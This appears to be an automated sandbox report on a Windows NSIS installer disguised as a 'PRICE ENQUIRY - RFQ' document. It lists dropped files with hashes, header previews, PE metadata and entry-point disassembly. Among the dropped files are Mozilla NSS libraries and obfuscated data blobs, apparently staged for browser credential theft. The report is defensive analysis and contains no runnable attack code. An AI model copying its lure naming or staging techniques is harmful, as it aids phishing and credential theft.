Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\1A34B8EE\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\nss3.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\nssdbm3.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\ucrtbase.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\54122813314621483567474.tmp

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Tissene\Escheated.mor

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	data
Category:	dropped
Size (bytes):	449238
Entropy (8bit):	2.2965267582100997
Encrypted:	false
SSDEEP:	3072:PqALmcuF+bXVEifuRfROI8UxEoj+V0Q/7orhM8MM8dIU:PqAp0CVvYrEoqNDSMhp
MD5:	675DA9A5890417C6A4186FAE531B5D8E
SHA1:	CEED7D1F553B6659902A5AF2A34A92A455CC8E9C
SHA-256:	2BC6D4B1B0B49EDF8F2C7C02398B147C3F24CC6C3A031B199FD42CB12C81AF95
SHA-512:	A8DF82B431D2D946BBC93A9C1C7DB561CD3F306BDA3456AC570986F6EBC50385628F20211BFFDAD7993CCC36C6EC934A0D4375DE9795583E9D04C28A9542B311
Malicious:	false
Preview:	.>...................F.)S........x......................k...............................e..........................=.......@......>..................,.....................3.....'.........................+................................Y.................[............................!..?........................... .......8..u.............;...............9......!................h.`..............^.+.......{.......N............................F.......y....y.rI....%.4..p.................................................vp...lj....!........Y..............`.................>................G.......L.+..........<j....................K(............../.......p..t...W......r\.......:c)...........]......................q..................(..............^...........I......~...........v...........<......3...........................F.........................P............................m............h......F..n.m.@...M...:............................x......1...........................................

C:\Users\user\AppData\Local\Temp\Tissene\Grdekones.Men

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	data
Category:	dropped
Size (bytes):	465391
Entropy (8bit):	6.952522573378262
Encrypted:	false
SSDEEP:	6144:2lzJwdprGMAzyITGrJTPgegBE7ufomWWG8E52OsPmH9mOSmj/ch:sErQzy2MMM6VGTiU9eP
MD5:	C74B557AB89ED9545B9222C0D4148789
SHA1:	0202A90B93945EA3CB25E3B52CD9E3B42F5C0564
SHA-256:	F989A353232AF7CF4B4589105C4B6A920CCEC64C7B5FC673126D659907D0B8A8
SHA-512:	95ABBE32B3B6ED4BB1BC4977A10D3FE350E403561C17AB2FE67E732864768FD3C6C47FFFA08A5E50246FAD84CC5DD4868BCC35BF137E5EA4F4ECE2C1C49B800C
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Tissene\locksteps.fra

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	data
Category:	dropped
Size (bytes):	373717
Entropy (8bit):	2.28885883111712
Encrypted:	false
SSDEEP:	1536:9CCl0LKzz7RTmGDq54+un0e4j/rOiSHo/kxNHxQr0XV5/4CI4ZRHD0ImAsL9nL5y:9RusqGu1rOiSI1s/BI4LwI4Qm0
MD5:	49E0258BE9ACFF1C92F862465A42A7EC
SHA1:	D3FFB1375BFCE7FC522845294EBBB3859005207A
SHA-256:	25090B31F07DAD7B736EA34622A9B8E09A07061C7CA39607A34E04FFBF8E583B
SHA-512:	3CBC679287796CD5F1C79992D7DA5AC4890B73833D1B7F38BE71D540AF25B63A641C6A435530D4EF2AABA81A6A5BDDAAA0D5FE5957E437E78186605B7E002DAE
Malicious:	false
Preview:	...M.......w...........bN.......$l.............E...........................................................................................................^....e..z..............2.eC......h............l............................../..x...............3m.^D................U.......^............'...........4..........."..............^...{.........^...U........).......................m..................................d..................................................z........t..X.............!.....64....#........#g.......D.@:..........~..t........]..>-......................................i......e.......y._...2.........W................8...............................Y...t$....................................................K....F.....................b.......................t.................b]......}................n..............x................................'...i....w...................'...N.....B.........]........z.....V..........F............................A...............q...

C:\Users\user\AppData\Local\Temp\Tissene\nattehimles.sam

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	data
Category:	dropped
Size (bytes):	349283
Entropy (8bit):	2.2927437496546847
Encrypted:	false
SSDEEP:	3072:VFyqkHzfpNKdJisI1GVFOe1EQ2grL1sRn3zqGVrDI:VFpkH9cdJDm3+7LAxVg
MD5:	538534D129BE7AF9716F89B7723F8539
SHA1:	D775E9BEACE94D70A35968F2AF612389C5B19A53
SHA-256:	1CDBFF694FF78E2CD67CDBCA36D25E44CC8F5BAA131A5D7DE6957C9CC7C2179B
SHA-512:	CAA62EDE747491D84413298DADAD6FC58BA4A07922BE7C1018CBCBF8960CF909D726D2BCAF636067FCE1048B3BAF17BA840F9595FDB90D7E814980AE5C58EEFA
Malicious:	false
Preview:	.............D................e.........\|.......................................I.........".........................B.......C..........................F........-..........................(........q.......s..............w...............}.............d..D......t......j.......B.................B................A......x........................y..................\................\|.............3.J.......%..i..C...................................(...........U...o...............6..............u.........5L....^..........7...............................l....................L...\|....t....]...........=...[.......;...................................[...=.H...?.................X....:............-.............U..................................Z......o............................................................]..........................Z0........`........H.................................YG........6.+..................................n.6..........^.......:.........................................

C:\Users\user\AppData\Local\Temp\Tissene\stigmarioid.txt

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	ASCII text, with very long lines (334), with CRLF line terminators
Category:	dropped
Size (bytes):	467
Entropy (8bit):	4.295832366851491
Encrypted:	false
SSDEEP:	12:ZOnYmt33KvjGcZSOSXVWzbdXW7lDCXFmAgU79QmT:2RJ3KvJZS1og7qgUm2
MD5:	E259F1B1F026F554E386E1351B199D00
SHA1:	3B31D9A7CBF9C3B261DA95C04540290510B90F0D
SHA-256:	D2C0267C28434FE218642C05DDBEA8AEE51141321520CE7BC86640E08378B335
SHA-512:	DD532D464652345E65485AC44BD9B0B19AC858A430098CB85C31035899377FB4A7874C454E8684A57DE36F8151481F5AB8F56B7241FCBE4DFB52ADBD3C4D2029
Malicious:	false
Preview:	noctilucal kvittende meganthropus moderligere nubre.opholdsstues reencounter outstudied fejltilstanden fellaheen spasticity disbelieves,satyrid kunstpausen regnebogen generobringer typehjulene hvsningerne subgaping.autocad tlleremsernes bestemmelse palmiform sikkerhedsforvaringers jazzorkestrenes misorganise fatalists ilama baldyres..paahldningernes unaffiliation cotillions boc plumbeous indtrredes,syzygal udpnsning bandet nullos fuldmaaneansigts lankily roynous.

C:\Users\user\AppData\Local\Temp\nsgBC23.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.976249241883987
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PRICE ENQUIRY - RFQ 6000073650.exe
File size:	762'027 bytes
MD5:	8083cf732510be4c79e5b6ce228765ea
SHA1:	f4b6508156d8d61bf534b56e9a02087b597c9417
SHA256:	4d5b8d11a093fb86a961c2bf87aca48a4e2a27bc1dda6e79092691948a84a4b8
SHA512:	4c42bf57b384405745ea291c7096bf3ec75eb12dcffb2707ac07326171c2333ea90212059df5ea7f5b6fdc6ac432dcd145657e2dceb96cc2036a82211639edaa
SSDEEP:	12288:ekjX33ZlEIdYwTqOWdMVDiDzemOlsf4+q2d13i95XynWAElsT1dsuH:ZH3ZlE2YoqKwqmvfC23kxTeTn
TLSH:	53F42306EAC8A8D3DCD5873592B29F58F5372D16287A738F17507B360A33913E20A49F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................^..........1.......p....@

File Icon


Icon Hash:	7564555dcdcd5d53

Static PE Info

General

Entrypoint:	0x4031ff
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD795 [Sun May 11 20:03:33 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7ed0d71376e55d58ab36dc7d3ffda898

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 004092D8h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [00407134h]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429258h], eax
call 00007FB5FC6F1654h
mov dword ptr [004291A4h], eax
